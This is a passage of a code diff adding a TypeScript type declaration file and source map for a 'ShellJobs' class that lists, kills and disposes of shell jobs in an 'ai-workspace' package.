+ kill(id: string): Promise<ShellJobInfo>;
37
+ private stop;
38
+ /** Every job, oldest first. */
39
+ list(): ShellJobInfo[];
40
+ /** Kill every running job and refuse new ones. Idempotent. */
41
+ dispose(): Promise<void>;
42
+ }
43
+ //#endregion
44
+ export { ShellJobs };
45
+ //# sourceMappingURL=shell-jobs.d.mts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"shell-jobs.d.mts","names":[],"sources":["../../../../../../../packages/ai-workspace/src/shell-jobs.ts"],"mappings":";;;AAgCA;AAAA,UAAiB,YAAA;;EAEf,OAAA;EAAA;EAEA,WAAA;EAEA;EAAA,OAAA;EAIA;EAFA,SAAA;EAEkB;EAAlB,MAAA,CAAO,QAAA,GAAW,MAAA,EAAQ,qBAAA,EAAuB,KAAA,oBAAyB,uBAAuB;AAAA;;;AAAA;AAoOnG;;cAAa,SAAA;EAAA,iBACM,IAAA;EAAA,QAET,MAAA;EAAA,QAEA,QAAA;EA2E4D;EAAA,IAxEzD,UAAA;EAqF4B;EAhFhC,KAAA,CAAM,IAAA,EAAM,YAAA,GAAe,YAAA;EAmGnB;EAAA,QAzDP,KAAA;EAAA,QAQA,GAAA;EAsDuB;EArClB,MAAA,CAAO,EAAA,UAAY,IAAA,GAAO,kBAAA,GAAqB,OAAA,CAAQ,iBAAA;EA7E5D;EA0FK,IAAA,CAAK,EAAA,WAAa,OAAA,CAAQ,YAAA;EAAA,QAQzB,IAAA;EAxFP;EAmGA,IAAA,IAAQ,YAAA;EAnGF;EAwGA,OAAA,IAAW,OAAA;AAAA"}